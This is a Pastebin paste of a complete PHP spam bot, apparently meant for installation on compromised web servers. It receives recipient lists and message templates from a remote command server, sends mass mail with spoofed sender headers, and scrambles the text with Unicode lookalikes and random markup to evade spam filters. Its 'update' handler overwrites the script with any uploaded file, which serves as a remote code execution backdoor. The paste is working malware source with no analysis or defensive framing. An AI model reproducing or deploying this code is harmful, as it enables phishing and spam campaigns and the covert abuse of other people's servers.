Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- ignore_user_abort(true);
- set_time_limit(0);
- function str_1replace($needle, $replace, $haystack)
- {
- $pos = strpos($haystack, $needle);
- if ($pos === false) {
- return $haystack;
- }
- return substr_replace($haystack, $replace, $pos, strlen($needle));
- }
- function unichr($dec)
- {
- if ($dec < 128) {
- $utf = chr($dec);
- } else {
- if ($dec < 2048) {
- $utf = chr(192 + ($dec - $dec % 64) / 64);
- $utf .= chr(128 + $dec % 64);
- } else {
- $utf = chr(224 + ($dec - $dec % 4096) / 4096);
- $utf .= chr(128 + ($dec % 4096 - $dec % 64) / 64);
- $utf .= chr(128 + $dec % 64);
- }
- }
- return $utf;
- }
- function make_seed()
- {
- list($usec, $sec) = explode(' ', microtime());
- return (double) $sec + (double) $usec * 100000;
- }
- function shuffle_one($array)
- {
- if (count($array) <= 0) {
- return NULL;
- } else {
- return $array[rand(0, count($array) - 1)];
- }
- }
- function post_pack_data($post)
- {
- $out = array();
- while (list($key, $val) = each($post)) {
- array_push($out, $key . '=' . urlencode($val));
- }
- return join('&', $out);
- }
- function array_unset(&$array, $key)
- {
- $val = $array[$key];
- unset($array[$key]);
- return $val;
- };
- $config = array('version' => '0.1.27', 'key' => '31337', 'proto_num' => 31337, 'max_execute_time' => 30, 'log_write_to_file' => 0, 'log_file_name' => 'log.txt', 'critical_log' => 'last_error', 'log_debug' => 0, 'report_timeout' => 180, 'max_mail_fail' => 3, 'hash' => 'cWCmqxkJGIkM', 'is_test' => 0);;
- function log_write($message, $last_error_code = '')
- {
- global $config;
- $_ENV['last_error'] = $message;
- $_ENV['last_error_code'] = $last_error_code;
- if ($config['log_write_to_file'] or $config['log_debug']) {
- $message = date('[Y.m.d H:i:s] ') . $message . '
- ';
- $config['log_write_to_file'] and error_log($message, 3, $config['log_file_name']);
- $config['log_debug'] and print $message;
- return true;
- }
- }
- function log_init()
- {
- global $config;
- if ($config['log_write_to_file'] and function_exists('date_default_timezone_set')) {
- date_default_timezone_set('UTC');
- }
- }
- function clean_log()
- {
- global $config;
- unlink($config['log_file_name']);
- unlink($config['critical_log']);
- }
- function critical_error($message, $last_error_code = '')
- {
- global $config;
- file_put_contents($config['critical_log'], $message);
- log_write($message, $last_error_code);
- }
- function get_critical_error()
- {
- global $config;
- if (!file_exists($config['critical_log'])) {
- return FALSE;
- }
- return file_get_contents($config['critical_log']);
- }
- function error_message($msg, $type = 'error')
- {
- global $config;
- return join('::', array($config['hash'], $type, $msg));
- };
- function loop_get_page($host, $path, $post = null, $read_ans = 0)
- {
- log_write('loop: starting send request to host - ' . $host . ' path - ' . $path . ' data len - ' . strlen($post));
- $headers = array((isset($post) ? 'POST ' : 'GET ') . $path . ' HTTP/1.1', 'Host: ' . $host, 'Accept-Charset: utf-8', 'User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1', 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: us', 'Accept-Encoding: gzip', 'Connection: keep-alive');
- isset($post) and $headers = array_merge($headers, (array) ('Content-length: ' . strlen($post)), (array) 'Content-Type: application/x-www-form-urlencoded');
- $data = join('
- ', array_merge($headers, (array) '', (array) ''));
- isset($post) and $data .= $post;
- $socket = fsockopen($host, 80, $errno, $errstr);
- if (!$socket) {
- log_write('loop: failed fsockopen: errstr - ' . $errstr);
- return FALSE;
- }
- if (($result = fwrite_stream($socket, $data)) == FALSE) {
- log_write('loop: failed fwrite_stream');
- return FALSE;
- }
- register_shutdown_function('read_ans_code', $socket);
- return $result;
- }
- function loop($data = null, $from_init = 0)
- {
- $post = array('loop' => 1);
- if (isset($data)) {
- $post['data'] = $data;
- }
- return loop_get_page($_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF'], post_pack_data($post), $from_init);
- }
- function fwrite_stream($fp, $string)
- {
- for ($written = 0; $written < strlen($string); $written += $fwrite) {
- $fwrite = fwrite($fp, substr($string, $written));
- if ($fwrite === false) {
- return $written;
- }
- }
- return $written;
- }
- function read_ans_code($socket)
- {
- global $config;
- stream_set_timeout($socket, $config['max_execute_time']);
- $buf = '';
- while (strpos($buf, '
- ') === FALSE and ($tmp = fgets($socket, 50)) !== false) {
- $buf .= $tmp;
- }
- if (preg_match('/HTTP\\/.+? (.+?) (.+?)$/', $buf, $match)) {
- return $match[1];
- } else {
- return FALSE;
- }
- };
- ;
- ;
- ;
- ;
- set_magic_quotes_runtime(false);
- $Tags = array(array('span', 'color:$fg_color', 'font-size:$font_size'), array('big', 'color:$fg_color', 'font-size:$font_size'), array('small', 'color:$fg_color', 'font-size:$font_size'), array('i', 'color:$fg_color', 'font-size:$font_size', 'font-style:normal'), array('em', 'color:$fg_color', 'font-size:$font_size', 'font-style:normal'), array('b', 'color:$fg_color', 'font-size:$font_size', 'font-weight:normal'), array('strong', 'color:$fg_color', 'font-size:$font_size', 'font-weight:normal'), array('div', 'color:$fg_color', 'font-size:$font_size', 'display:inline-block'), array('p', 'color:$fg_color', 'font-size:$font_size', 'display:inline-block', 'margin:0 0'));
- function mk_tmpl($template, $fields)
- {
- global $Tags;
- $gen_fields = array('from_email', 'reply_to', 'from', 'body', 'subject');
- $template['body'] = preg_replace('/\\[CACHE_([0-9])]/', '', $template['body']);
- $regenerate = 1;
- if (preg_match('/\\[REGENERATE_([0-9]+)]/', $template['body'], $matches)) {
- $regenerate = $matches[1];
- $template['body'] = preg_replace('/\\[REGENERATE_([0-9]+)]/', '', $template['body']);
- }
- $macroses = array();
- $macrCache = array();
- if (preg_match_all('/[
- ]*\\@([a-z][a-z0-9_]*)\\s*=\\s*\\[(.+?)]\\s*;[
- ]*/si', $template['body'], $matches)) {
- foreach ($matches[0] as $c => $mcr) {
- $el = $matches[1][$c];
- $macroses[$el] = explode(':', $matches[2][$c]);
- $macrCache[$el] = $macroses[$el][array_rand($macroses[$el])];
- }
- $template['body'] = preg_replace('/[
- ]*\\@([a-z][a-z0-9_]*)\\s*=\\s*\\[(.+?)]\\s*;[
- ]*/si', '', $template['body']);
- }
- $self_domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'mail.com';
- $self_domain = preg_replace('/^www\\./', '', $self_domain);
- for ($regen_i = 0; $regen_i <= $regenerate; $regen_i++) {
- foreach ($gen_fields as $c => $tmpl) {
- $field = $template[$tmpl];
- if ($tmpl === 'from' and !isset($field)) {
- $field = isset($template['reply_to']) ? find_name($template['reply_to']) : find_name($template['from_email']);
- $template[$tmpl] = trim($field);
- }
- if (!$field or !preg_match('/\\[.+?]|\\@|$/s', $field)) {
- continue;
- }
- $field = str_replace('[ToEmail]', $fields['to_email'], $field);
- $field = str_replace('[URL]', $fields['url'], $field);
- $field = str_replace('[Domain]', $self_domain, $field);
- if (preg_match('/\\[From(?:Full|Last|First)Name]/', $field, $matches)) {
- $tmp = explode(' ', $template['from'], 2);
- count($tmp) === 2 or $tmp[1] = NULL;
- list($first, $last) = $tmp;
- $full = join(' ', array($first, $last));
- isset($first) or $first = '';
- isset($last) or $last = '';
- $field = str_replace('[FromFirstName]', trim($first), $field);
- $field = str_replace('[FromLastName]', trim($last), $field);
- $field = str_replace('[FromFullName]', trim($full), $field);
- }
- foreach ($macroses as $c => $m) {
- $c = quotemeta($c);
- $field = preg_replace("/\\\${$c}(?=\\b)/", $macrCache[$c], $field);
- while (preg_match("/\\@{$c}(?=\\b)/", $field)) {
- $field = preg_replace("/\\@{$c}(?=\\b)/", $m[array_rand($m)], $field, 1);
- }
- }
- $field = preg_replace_callback('/\\[For\\.\\.([0-9]+)-([0-9]+)](.*?)\\[EndFor]/s', create_function('$matches', 'return str_repeat($matches[0x03], mt_rand($matches[0x01], $matches[0x02]));'), $field);
- while (preg_match_all('/\\[[^\\[\\]]+]/s', $field, $matches)) {
- foreach ($matches[0] as $c => $mcr) {
- $replace = '';
- if (preg_match('/\\[Tag_(.+?)]/', $mcr, $m)) {
- $tag = $Tags[array_rand($Tags)];
- $el = array_shift($tag);
- shuffle($tag);
- $replace = sprintf('<%s style="%s">%s</%s>', $el, implode(';', $tag), $m[1], $el);
- } elseif (preg_match('/\\[Rndf_([0-9]+)_([0-9]+)]/', $mcr, $m)) {
- $replace = mt_rand($m[1], $m[2]);
- } elseif (preg_match('/\\[Rndf_(.+?)]/s', $mcr, $m)) {
- $tmp = explode('|', $m[1]);
- $replace = $tmp[array_rand($tmp)];
- } elseif (preg_match('/\\[Shuffle_(.*?)_(.+?)]/s', $mcr, $m)) {
- $tmp = explode('|', $m[2]);
- shuffle($tmp);
- $replace = implode($m[1], $tmp);
- } elseif (preg_match('/\\[ShuffleX_([0-9]+)_(.*?)_(.+?)]/s', $mcr, $m)) {
- $tmp = explode('|', $m[3]);
- shuffle($tmp);
- array_splice($tmp, $m[1]);
- $replace = implode($m[2], $tmp);
- } elseif (preg_match('/\\[Trim_(.+?)]/s', $mcr, $m)) {
- $replace = preg_replace(array('/ +/s', '/ +([,?!.:;\\-%])/s'), array(' ', '$1'), $m[1]);
- } elseif (preg_match('/\\[Utf8_([0-9]+)_(.+?)]/s', $mcr, $m)) {
- $prob = $m[1];
- $tmp = str_split($m[2]);
- foreach ($tmp as $i => $s) {
- $ord = ord($s);
- if ($ord > 32 and $ord < 128 and $prob >= mt_rand(0, 100)) {
- $tmp[$i] = unichr($ord + 65248);
- }
- }
- $replace = implode('', $tmp);
- } elseif (preg_match('/\\[UtfX_(.+?)]/s', $mcr, $m)) {
- $tmp = str_split($m[1]);
- foreach ($tmp as $i => $s) {
- $ord = ord($s);
- if ($ord > 65 and $ord < 128) {
- $tmp[$i] = unichr(mt_rand(192, 382));
- }
- }
- $replace = implode('', $tmp);
- } elseif (preg_match('/\\[UtfY_(.+?)]/s', $mcr, $m)) {
- $tmp = str_split($m[1]);
- foreach ($tmp as $i => $s) {
- $ord = ord($s);
- if ($ord > 65 and $ord < 128) {
- $tmp[$i] = unichr(mt_rand(913408, 917488));
- }
- }
- $replace = implode('', $tmp);
- } elseif (preg_match('/\\[Morf_(.+?)]/s', $mcr, $m)) {
- $tmp = str_split($m[1]);
- $len = strlen($m[1]);
- $range = range(0, $len - 1);
- shuffle($range);
- array_splice($range, max(1, intval($len / 4)));
- foreach ($range as $n) {
- $tmp[$n] .= '_';
- }
- $replace = implode('', $tmp);
- $replace = preg_replace('/[ _ ]+/s', ' ', $replace);
- } else {
- $replace = '____' . str_replace('[', '{', str_replace(']', '}', $mcr)) . '____';
- }
- $field = str_1replace($mcr, $replace, $field);
- }
- }
- $field = preg_replace('/____{(.+?)}____/', '[$1]', $field);
- $field = preg_replace('/<!--|-->/', '', $field);
- $field = preg_replace_callback('/\\[([LU])C]\\s*(\\w)/s', create_function('$m', 'if ( $m[0x01] == "L") {
- return lcfirst($m[0x02]);
- } elseif ( $m[0x01] == "U" ) {
- return ucfirst($m[0x02]);
- }'), $field);
- $template[$tmpl] = trim($field);
- }
- }
- $template['ttype'] = preg_match('/<(?:a|abbr|acronym|address|applet|area|b|base|basefont|bdo|big|blockquote|body|br|button|caption|center|cite|code|col|colgroup|dd|del|dfn|dir|div|dl|dt|em|fieldset|font|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|hr|html|i|iframe|img|input|ins|isindex|kbd|label|legend|li|link|map|menu|meta|noframes|noscript|object|ol|optgroup|option|p|param|pre|q|s|samp|script|select|small|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|xmp)[ >\\/]/i', $template['body']) ? 1 : 0;
- return $template;
- }
- function create_message($task, $to)
- {
- $reply = shuffle_one($task['replyTo']);
- $from_email = (isset($task['fromEmail']) and count($task['fromEmail']) >= 1) ? shuffle_one($task['fromEmail']) : 'noreply@[Domain]';
- $from = shuffle_one($task['from']);
- $template = array('body' => shuffle_one($task['templates']), 'subject' => shuffle_one($task['subjects']), 'from' => $from, 'from_email' => $from_email, 'reply_to' => $reply);
- $fields = array('url' => shuffle_one($task['redirects']), 'to_email' => $to);
- return mk_tmpl($template, $fields);
- }
- function html_to_text($html)
- {
- $html = preg_replace('/<br\\\\?>/', '
- ', $html);
- $html = preg_replace('/(<a\\s+href\\s*=\\s*[\'"](.+?)[\'"]>.+?<\\/a>)/', ' $2 ', $html);
- $html = preg_replace('/<.*?>/', '$1', $html);
- return $html;
- }
- function find_name($email)
- {
- $email = strtolower($email);
- if (preg_match('/^([a-z][a-z0-9]+)[\\._]([a-z][a-z0-9]+)@/', $email, $match)) {
- return implode(' ', array(ucfirst($match[1]), ucfirst($match[2])));
- } elseif (preg_match('/^(.+?)@/', $email, $match)) {
- return ucfirst($match[1]);
- } else {
- return ' ';
- }
- };
- function mailer_send_mail($recipients, $message)
- {
- global $config;
- if (!isset($recipients) or count($recipients) < 1 or !isset($message['subject']) or !isset($message['body']) or !isset($message['ttype']) or !isset($message['cc_num']) or !isset($message['from_email'])) {
- log_write('some parameters is missing ' . print_r($message, true));
- return FALSE;
- }
- $to = array_shift($recipients);
- $cc = array_splice($recipients, 0, $message['cc_num']);
- $bcc = $recipients;
- $subject = '=?UTF-8?B?' . base64_encode($message['subject']) . '?=';
- $headers = array();
- $headers['Return-Path'] = $message['from_email'];
- $headers['MIME-Version'] = '1.0';
- if (isset($message['from'])) {
- $headers['From'] = $message['from'] . ' <' . $message['from_email'] . '>';
- } else {
- $headers['From'] = $message['from_email'];
- }
- if (isset($message['reply_to'])) {
- $headers['Reply-To'] = isset($message['from']) ? $message['from'] . ' <' . $message['reply_to'] . '>' : $message['reply_to'];
- }
- $body = $message['body'];
- if ($message['ttype'] == 1) {
- $boundary = md5($to);
- $headers['Content-Type'] = 'multipart/alternative; boundary=' . $boundary;
- $plaintext = join('
- ', array('--' . $boundary, 'Content-Type: text/plain; charset=UTF-8', 'Content-Transfer-Encoding: 8bit', '', html_to_text($body), ''));
- $htmltext = join('
- ', array('--' . $boundary, 'Content-Type: text/html; charset=UTF-8', 'Content-Transfer-Encoding: 8bit', '', $body, '', '--' . $boundary . '--'));
- $body = join('
- ', array($plaintext, $htmltext, ''));
- } else {
- $headers['Content-Transfer-Encoding'] = '8bit';
- $headers['Content-Type'] = 'text/plain; charset=UTF-8;';
- }
- $additional_headers = '';
- while (list($key, $val) = each($headers)) {
- $additional_headers .= $key . ': ' . $val . '
- ';
- }
- log_write('staring send message to ' . $to);
- if (isset($config['is_test']) and $config['is_test'] === 1) {
- return TRUE;
- }
- if (mail($to, $subject, $body, $additional_headers) == false) {
- log_write('call function \'mail\' failed', 'CallMailFunc');
- return false;
- }
- return 1;
- }
- function mailer_spam(&$base, $task, $params)
- {
- list($cc_num, $out_base) = mailer_shift_base($base, $params);
- $message = create_message($task, $out_base[0]);
- $message['cc_num'] = $cc_num;
- return mailer_send_mail($out_base, $message);
- }
- function mailer_shift_base(&$base, $params)
- {
- $cc_num = rand($params['cc'][0], $params['cc'][1]);
- $bcc_num = rand($params['bcc'][0], $params['bcc'][1]);
- $out_base = array_splice($base, 0, 1 + $cc_num + $bcc_num);
- return array($cc_num, $out_base);
- }
- function mailer_spam_cycle(&$base, $templates, $params, &$sent_count)
- {
- global $config;
- $start = time();
- if ($base == NULL or is_array($base) and count($base) <= 0) {
- log_write('mailer_spam_cycle: base is empty');
- return false;
- }
- do {
- $count_before = count($base);
- if (mailer_spam($base, $templates, $params) == false) {
- $sleep = $config['max_execute_time'] - (time() - $start);
- $sleep > 0 and sleep($sleep);
- return false;
- } else {
- $sent_count += $count_before - count($base);
- }
- $sleep = rand($params['sendDelay'][0], $params['sendDelay'][1]);
- if ($sleep > 0) {
- usleep($sleep * 1000);
- }
- } while ($base and time() - $start + ceil($sleep / 1000) < $config['max_execute_time']);
- return true;
- };
- ;
- ;
- ;
- function server_get_data($host, $port, $json_data)
- {
- global $config;
- if (!isset($json_data) or !is_string($json_data)) {
- return false;
- }
- $socket = fsockopen($host, $port);
- if (!$socket) {
- critical_error('server_get_data: failed fsockopen');
- return false;
- }
- $data = pack('N2', $config['proto_num'], strlen($json_data)) . $json_data;
- fwrite($socket, $data);
- if (($data = fread($socket, 8)) == false) {
- critical_error('Failed read prtocol num and data length');
- return false;
- }
- $data = unpack('N2', $data);
- $num = $data[1];
- $len = $data[2];
- if ($num != $config['proto_num'] or $len <= 0) {
- critical_error('Wrong protocol number or length');
- return false;
- }
- $data = '';
- while (($tmp = fread($socket, $len)) != false) {
- $data .= $tmp;
- if (($len -= strlen($tmp)) <= 0) {
- break;
- }
- }
- if ($len != 0) {
- critical_error('Failed read data');
- return false;
- }
- return $data;
- }
- function unpack_data($data, $session = array(), $base = null, $params = null, $task = null)
- {
- return unpack_data_all($data, TRUE, $session, $base, $params, $task);
- }
- function unpack_data_internal($data)
- {
- if (get_magic_quotes_gpc()) {
- $data = stripcslashes($data);
- }
- return unpack_data_all($data, FALSE);
- }
- function unpack_data_all($data, $external, $session = array(), $base = null, $params = null, $task = null)
- {
- $data_bk = $data;
- if (($data = json_decode($data, true)) == FALSE) {
- log_write('Failed decode data: ' . $data_bk);
- return false;
- }
- if ($external) {
- if (!array_key_exists('status', $data)) {
- log_write('Failed server request: status is not set');
- return false;
- } elseif ($data['status'] == NULL) {
- log_write('Failed server request: ' . isset($data['err']) ? $data['err'] : '');
- return false;
- } elseif ($data['status'] == 2) {
- log_write('task stopped');
- return false;
- } elseif ($data['status'] == 1) {
- } else {
- log_write('Failed server request: wrong status');
- return false;
- }
- }
- $session['version'] = $data['version'];
- $session['taskID'] = $data['taskID'];
- if (isset($data['key'])) {
- $session['key'] = $data['key'];
- }
- return array($session, isset($data['base']) ? $data['base'] : $base, isset($data['params']) ? $data['params'] : $params, isset($data['task']) ? $data['task'] : $task, isset($data['data_server']) ? $data['data_server'] : NULL, isset($data['stat']) ? $data['stat'] : NULL);
- }
- function pack_data($keys, $values, $old_data = null)
- {
- $new_data = array();
- if (isset($old_data)) {
- $data = json_decode($old_data, true);
- } else {
- $data = array();
- }
- foreach ($keys as $key) {
- $val = array_shift($values);
- if ($key == 'session') {
- global $config;
- $data = array_merge($data, array('key' => $val['key'], 'taskID' => $val['taskID'], 'version' => isset($val['version']) ? $val['version'] : '-1'));
- } else {
- $data[$key] = $val;
- }
- }
- return json_encode($data);
- }
- function report_error_to_server_and_die($host, $port, $session, $sent_count = 0)
- {
- report_error_to_server($host, $port, $session);
- die;
- }
- function report_error_to_server($host, $port, $session, $sent_count = 0)
- {
- $report = array('status' => NULL, 'errStr' => $_ENV['last_error'], 'errCode' => isset($_ENV['last_error_code']) ? $_ENV['last_error_code'] : '', 'sent' => $sent_count);
- $request = pack_data(array('session', 'res'), array($session, $report));
- return server_get_data($host, $port, $request);
- };
- ;
- ;
- log_init();
- srand(make_seed());
- if (isset($_POST['init'])) {
- global $config;
- $last_error = get_critical_error();
- clean_log();
- if ($last_error != FALSE) {
- echo error_message("last init - {$last_error}");
- die;
- }
- if ($_POST['version'] != $config['version']) {
- log_write('bad version - ' . $config['version']);
- echo error_message('bad version - ' . $config['version'], 'OK');
- die;
- }
- foreach (array('array_key_exists', 'array_merge', 'array_push', 'array_rand', 'array_shift', 'array_splice', 'chr', 'count', 'create_function', 'create_message', 'date', 'define', 'defined', 'dirname', 'each', 'error_log', 'error_reporting', 'explode', 'file_get_contents', 'file_put_contents', 'fread', 'fsockopen', 'fwrite', 'implode', 'intval', 'is_array', 'is_string', 'join', 'json_decode', 'json_encode', 'log_init', 'log_write', 'loop', 'loop_get_page', 'mail', 'mailer_send_mail', 'mailer_shift_base', 'mailer_spam', 'mailer_spam_cycle', 'make_seed', 'max', 'microtime', 'mk_tmpl', 'mt_rand', 'ord', 'pack', 'pack_data', 'post_pack_data', 'preg_match', 'preg_match_all', 'preg_replace', 'preg_replace_callback', 'print_r', 'quotemeta', 'rand', 'range', 'report_error_to_server', 'report_error_to_server_and_die', 'server_get_data', 'set_magic_quotes_runtime', 'shuffle', 'shuffle_one', 'sleep', 'sprintf', 'srand', 'str_1replace', 'str_replace', 'str_split', 'strlen', 'strpos', 'substr_replace', 'time', 'trim', 'unichr', 'unlink', 'unpack', 'unpack_data', 'unpack_data_all', 'unpack_data_internal') as $key) {
- if (function_exists($key)) {
- continue;
- }
- echo error_message("function {$key} not exists", 'fatal');
- die;
- }
- foreach (array('taskID', 'key', 'host', 'port', 'version') as $key) {
- if (!isset($_POST[$key])) {
- log_write($key . ' is empty');
- echo error_message("{$key} is empty");
- die;
- }
- }
- $session = array('taskID' => intval($_POST['taskID']), 'key' => $_POST['key']);
- $data_server = array('host' => $_POST['host'], 'port' => $_POST['port']);
- $data = pack_data(array('session', 'data_server'), array($session, $data_server));
- if (loop($data, 1) == FALSE) {
- echo error_message('init failed - ' . $_ENV['last_error']);
- } else {
- echo error_message('init done', 'OK');
- log_write('init done: version ' . $config['version']);
- }
- } elseif (isset($_POST['update'])) {
- log_write('starting update');
- if (isset($_FILES['file']) and $_FILES['file']['error'] == 0) {
- if (file_put_contents(__FILE__, file_get_contents($_FILES['file']['tmp_name'])) == FALSE) {
- log_write('update error: filed write to file');
- echo error_message('update: failed write to file');
- } else {
- log_write('update done');
- echo error_message('update done', 'OK');
- }
- } else {
- log_write('update error: \'file is empty\'');
- echo error_message('update error: file is empty');
- }
- } elseif (isset($_POST['loop'])) {
- ob_end_flush();
- flush();
- for ($i = 0; $i < 10; $i++) {
- print str_repeat('a', 1000);
- }
- ($data = unpack_data_internal($_POST['data'])) != FALSE or die;
- list($session, $base, $params, $task, $data_server, $stat) = $data;
- if ($session == NULL or $data_server == NULL) {
- log_write('index: session or data_server is empty');
- critical_error('index: session or data_server is empty');
- die;
- }
- if ($stat == NULL) {
- $stat = array();
- }
- $request = NULL;
- $todo = array();
- if ($base == NULL or is_array($base) and count($base) <= 0) {
- array_push($todo, 'base');
- }
- if ($task == NULL or $params == NULL) {
- array_push($todo, 'task');
- }
- if (count($todo) > 0) {
- $request = pack_data(array('todo'), array($todo), $request);
- }
- if ($request != NULL or time() - $stat['last_report'] >= $config['report_timeout']) {
- $request = pack_data(array('session'), array($session), $request);
- if (isset($stat['send_count']) and $stat['send_count'] > 0) {
- $res = array('status' => 1, 'errStr' => 'OK', 'sent' => $stat['send_count']);
- $stat['last_report'] = time();
- $stat['send_count'] = 0;
- $request = pack_data(array('res'), array($res), $request);
- }
- log_write('loop: data request - ' . print_r($request, true));
- ($data = server_get_data($data_server['host'], $data_server['port'], $request)) != FALSE or die;
- ($data = unpack_data($data, $session, $base, $params, $task)) != FALSE or report_error_to_server_and_die($data_server['host'], $data_server['port'], $session, $stat['send_count']);
- list($session, $base, $params, $task) = $data;
- }
- $sent_count = 0;
- if (mailer_spam_cycle($base, $task, $params, $sent_count) === FALSE) {
- if (++$stat['mail_failed'] >= $config['max_mail_fail']) {
- report_error_to_server_and_die($data_server['host'], $data_server['port'], $session, $stat['send_count']);
- }
- } else {
- $stat['mail_failed'] = 0;
- }
- $stat['send_count'] += $sent_count;
- $data = pack_data(array('session', 'base', 'params', 'task', 'data_server', 'stat'), array($session, $base, $params, $task, $data_server, $stat));
- log_write('loop: done count - ' . $stat['send_count']);
- if (loop($data, 1)) {
- log_write('restart loop - ok');
- }
- } else {
- global $config;
- echo error_message('main page ' . $config['version'], 'OK');
- }
Add Comment
Please, Sign In to add comment